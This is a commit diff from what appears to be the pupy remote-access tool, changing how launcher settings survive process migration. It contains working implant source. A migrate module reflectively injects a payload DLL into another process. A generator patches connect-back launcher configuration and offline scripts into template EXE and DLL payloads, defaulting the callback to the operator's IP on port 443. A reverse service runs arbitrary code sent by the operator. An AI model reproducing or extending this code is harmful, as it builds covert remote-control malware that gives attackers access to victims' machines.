mirror of https://github.com/n1nj4sec/pupy.git
launcher config now persists through process migration
This commit is contained in:
parent
3f8f9070ec
commit
14fadc2226
pupy
|
@ -48,10 +48,10 @@ class MigrateModule(PupyModule):
|
|||
if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
|
||||
isProcess64bits=True
|
||||
self.success("process is 64 bits")
|
||||
dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport)
|
||||
dllbuff=pupygen.get_edit_pupyx64_dll(self.client.get_conf())
|
||||
else:
|
||||
self.success("process is 32 bits")
|
||||
dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport)
|
||||
dllbuff=pupygen.get_edit_pupyx86_dll(self.client.get_conf())
|
||||
self.success("injecting DLL in target process %s ..."%pid)
|
||||
self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
||||
self.success("DLL injected !")
|
||||
|
|
|
@ -17,9 +17,13 @@ class LauncherArgumentParser(argparse.ArgumentParser):
|
|||
def __init__(self, *args, **kwargs):
|
||||
argparse.ArgumentParser.__init__(self, *args, **kwargs)
|
||||
def exit(self, status=0, message=None):
|
||||
if message:
|
||||
self._print_message(message, sys.stderr)
|
||||
raise LauncherError("exit with status %s"%status)
|
||||
#if message:
|
||||
# self._print_message(message, sys.stderr)
|
||||
raise LauncherError(message)
|
||||
def error(self, message):
|
||||
#self.print_usage(_sys.stderr)
|
||||
self.exit(2, str('%s: error: %s\n') % (self.prog, message))
|
||||
|
||||
|
||||
class BaseLauncher(object):
|
||||
arg_parser=None
|
||||
|
|
|
@ -120,7 +120,7 @@ class AutoProxyLauncher(BaseLauncher):
|
|||
def __init__(self, *args, **kwargs):
|
||||
super(AutoProxyLauncher, self).__init__(*args, **kwargs)
|
||||
def init_argparse(self):
|
||||
self.arg_parser = LauncherArgumentParser(prog="simple", description=self.__doc__)
|
||||
self.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
|
||||
self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys() if not x.endswith("_proxy")], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP")
|
||||
|
|
32
pupy/pp.py
32
pupy/pp.py
|
@ -80,6 +80,15 @@ class ReverseSlaveService(Service):
|
|||
def exposed_execute(self, text):
|
||||
"""execute arbitrary code (using ``exec``)"""
|
||||
execute(text, self.exposed_namespace)
|
||||
|
||||
def exposed_get_infos(self, s):
|
||||
"""execute arbitrary code (using ``exec``)"""
|
||||
import pupy
|
||||
if not s in pupy.infos:
|
||||
return None
|
||||
return pupy.infos[s]
|
||||
|
||||
|
||||
def exposed_eval(self, text):
|
||||
"""evaluate arbitrary code (using ``eval``)"""
|
||||
return eval(text, self.exposed_namespace)
|
||||
|
@ -121,27 +130,34 @@ def main():
|
|||
args=parser.parse_args()
|
||||
LAUNCHER=args.launcher
|
||||
LAUNCHER_ARGS=shlex.split(' '.join(args.launcher_args))
|
||||
|
||||
if not LAUNCHER in conf.launchers:
|
||||
exit("No such launcher: %s"%LAUNCHER)
|
||||
|
||||
if "windows" in platform.system().lower():
|
||||
try:
|
||||
import pupy
|
||||
config_file=pupy.get_pupy_config()
|
||||
exec config_file in globals()
|
||||
pupy.get_connect_back_host=(lambda: HOST)
|
||||
except ImportError:
|
||||
logging.warning("ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL")
|
||||
#else:
|
||||
# add_pseudo_pupy_module(HOST)
|
||||
|
||||
if not LAUNCHER in conf.launchers:
|
||||
exit("No such launcher: %s"%LAUNCHER)
|
||||
|
||||
launcher=conf.launchers[LAUNCHER]()
|
||||
try:
|
||||
launcher.parse_args(LAUNCHER_ARGS)
|
||||
except LauncherError:
|
||||
exit()
|
||||
except LauncherError as e:
|
||||
launcher.arg_parser.print_usage()
|
||||
exit(str(e))
|
||||
|
||||
if "pupy" not in sys.modules:
|
||||
add_pseudo_pupy_module(launcher.get_host())
|
||||
else:
|
||||
pupy.get_connect_back_host=launcher.get_host
|
||||
|
||||
import pupy
|
||||
pupy.infos={} #global dictionary to store informations persistent through a deconnection
|
||||
pupy.infos['launcher']=LAUNCHER
|
||||
pupy.infos['launcher_args']=LAUNCHER_ARGS
|
||||
|
||||
attempt=0
|
||||
while True:
|
||||
|
|
|
@ -7,24 +7,28 @@ import argparse
|
|||
import sys
|
||||
import os.path
|
||||
import re
|
||||
import shlex
|
||||
from pupylib.utils.network import get_local_ip
|
||||
from network.conf import transports
|
||||
from network.conf import transports, launchers
|
||||
from network.base_launcher import LauncherError
|
||||
|
||||
def get_edit_pupyx86_dll(host, ip, transport, offline_script=None):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport, offline_script)
|
||||
def get_edit_pupyx86_dll(conf):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), conf)
|
||||
|
||||
def get_edit_pupyx64_dll(host, ip, transport, offline_script=None):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport, offline_script)
|
||||
def get_edit_pupyx64_dll(conf):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), conf)
|
||||
|
||||
def get_edit_pupyx86_exe(host, ip, transport, offline_script=None):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport, offline_script)
|
||||
def get_edit_pupyx86_exe(conf):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), conf)
|
||||
|
||||
def get_edit_pupyx64_exe(host, ip, transport, offline_script=None):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport), offline_script
|
||||
def get_edit_pupyx64_exe(conf):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), conf)
|
||||
|
||||
def get_edit_binary(path, host, port, transport, offline_script=None):
|
||||
if not offline_script:
|
||||
def get_edit_binary(path, conf):
|
||||
if not "offline_script" in conf:
|
||||
offline_script=""
|
||||
else:
|
||||
offline_script=conf["offline_script"]
|
||||
binary=b""
|
||||
with open(path, 'rb') as f:
|
||||
binary=f.read()
|
||||
|
@ -41,9 +45,13 @@ def get_edit_binary(path, host, port, transport, offline_script=None):
|
|||
elif len(offsets)!=1:
|
||||
raise Exception("Error: multiple offsets to edit the config have been found")
|
||||
|
||||
new_conf="HOST=\"%s:%s\"\nTRANSPORTS=[%s,{}]\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
|
||||
new_conf=""
|
||||
new_conf+="LAUNCHER=%s\n"%(repr(conf['launcher']))
|
||||
new_conf+="LAUNCHER_ARGS=%s\n"%(repr(conf['launcher_args']))
|
||||
new_conf+=offline_script
|
||||
new_conf+="\n\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
if len(new_conf)>4092:
|
||||
raise Exception("Error: config or offline script too long")
|
||||
raise Exception("Error: config or offline script too long\nYou need to recompile the dll with a bigger buffer")
|
||||
binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]
|
||||
return binary
|
||||
|
||||
|
@ -53,50 +61,59 @@ if __name__=="__main__":
|
|||
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
|
||||
parser.add_argument('-o', '--output', help="output path")
|
||||
parser.add_argument('-s', '--offline-script', help="offline python script to execute before starting the connection")
|
||||
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
|
||||
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
parser.add_argument('host', nargs='*', help="connect back host")
|
||||
parser.add_argument('launcher', choices=[x for x in launchers.iterkeys()], default='auto_proxy', help="Choose a launcher. Launchers make payloads behave differently at startup.")
|
||||
parser.add_argument('launcher_args', nargs=argparse.REMAINDER, help="launcher options")
|
||||
|
||||
args=parser.parse_args()
|
||||
myhost=None
|
||||
if not args.host:
|
||||
myip=get_local_ip()
|
||||
if not myip:
|
||||
sys.exit("[-] couldn't find your local IP. You must precise an ip or a fqdn manually")
|
||||
myhost=myip
|
||||
else:
|
||||
myhost=args.host[0]
|
||||
if re.match("^.*:[0-9]+$", myhost):#auto fixing errors when entering host:port
|
||||
myhost, p=myhost.rsplit(':',1)
|
||||
if args.port==443:
|
||||
args.port=p
|
||||
l=launchers[args.launcher]()
|
||||
while True:
|
||||
try:
|
||||
l.parse_args(args.launcher_args)
|
||||
except LauncherError as e:
|
||||
if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args:
|
||||
myip=get_local_ip()
|
||||
if not myip:
|
||||
sys.exit("[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually")
|
||||
print("[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"%myip)
|
||||
args.launcher_args.insert(0,"%s:443"%myip)
|
||||
args.launcher_args.insert(0,"--host")
|
||||
else:
|
||||
l.arg_parser.print_usage()
|
||||
exit(str(e))
|
||||
else:
|
||||
break
|
||||
script_code=""
|
||||
if args.offline_script:
|
||||
with open(args.offline_script,'r') as f:
|
||||
script_code=f.read()
|
||||
outpath=None
|
||||
conf={}
|
||||
conf['launcher']=args.launcher
|
||||
conf['launcher_args']=args.launcher_args
|
||||
conf['offline_script']=script_code
|
||||
if args.type=="exe_x86":
|
||||
binary=get_edit_pupyx86_exe(myhost, args.port, args.transport, script_code)
|
||||
binary=get_edit_pupyx86_exe(conf)
|
||||
outpath="pupyx86.exe"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="exe_x64":
|
||||
binary=get_edit_pupyx64_exe(myhost, args.port, args.transport, script_code)
|
||||
binary=get_edit_pupyx64_exe(conf)
|
||||
outpath="pupyx64.exe"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="dll_x64":
|
||||
binary=get_edit_pupyx64_dll(myhost, args.port, args.transport, script_code)
|
||||
binary=get_edit_pupyx64_dll(conf)
|
||||
outpath="pupyx64.dll"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="dll_x86":
|
||||
binary=get_edit_pupyx86_dll(myhost, args.port, args.transport, script_code)
|
||||
binary=get_edit_pupyx86_dll(conf)
|
||||
outpath="pupyx86.dll"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
|
@ -106,8 +123,8 @@ if __name__=="__main__":
|
|||
exit("Type %s is invalid."%(args.type))
|
||||
print("binary generated with config :")
|
||||
print("OUTPUT_PATH = %s"%os.path.abspath(outpath))
|
||||
print("HOST = %s:%s"%(myhost, args.port))
|
||||
print("TRANSPORT = %s"%args.transport)
|
||||
print("LAUNCHER = %s"%repr(args.launcher))
|
||||
print("LAUNCHER_ARGS = %s"%repr(args.launcher_args))
|
||||
print("OFFLINE_SCRIPT = %s"%args.offline_script)
|
||||
|
||||
|
||||
|
|
|
@ -38,6 +38,14 @@ class PupyClient(object):
|
|||
def __del__(self):
|
||||
del self.desc
|
||||
|
||||
def get_conf(self):
|
||||
dic={}
|
||||
if "offline_script" in self.desc:
|
||||
dic["offline_script"]=self.desc["offline_script"]
|
||||
dic["launcher"]=self.desc["launcher"]
|
||||
dic["launcher_args"]=self.desc["launcher_args"]
|
||||
return dic
|
||||
|
||||
def short_name(self):
|
||||
try:
|
||||
return self.desc["platform"][0:3].lower()+"_"+self.desc["hostname"]+"_"+self.desc["macaddr"].replace(':','')
|
||||
|
|
|
@ -141,8 +141,9 @@ class PupyServer(threading.Thread):
|
|||
"macaddr" : l[6],
|
||||
"pid" : l[7],
|
||||
"address" : conn._conn._config['connid'].split(':')[0],
|
||||
"launcher" : conn.get_infos("launcher"),
|
||||
"launcher_args" : conn.get_infos("launcher_args"),
|
||||
}, self))
|
||||
|
||||
if self.handler:
|
||||
addr = conn.modules['pupy'].get_connect_back_host()
|
||||
server_ip, server_port = addr.rsplit(':', 1)
|
||||
|
|
|
@ -50,6 +50,7 @@ class PupyService(rpyc.Service):
|
|||
self.execute=self._conn.root.execute
|
||||
self.exit=self._conn.root.exit
|
||||
self.eval=self._conn.root.eval
|
||||
self.get_infos=self._conn.root.get_infos
|
||||
self.builtin=self.modules.__builtin__
|
||||
self.builtins=self.modules.__builtin__
|
||||
self.exposed_stdin=sys.stdin
|
||||
|
|
Loading…
Reference in New Issue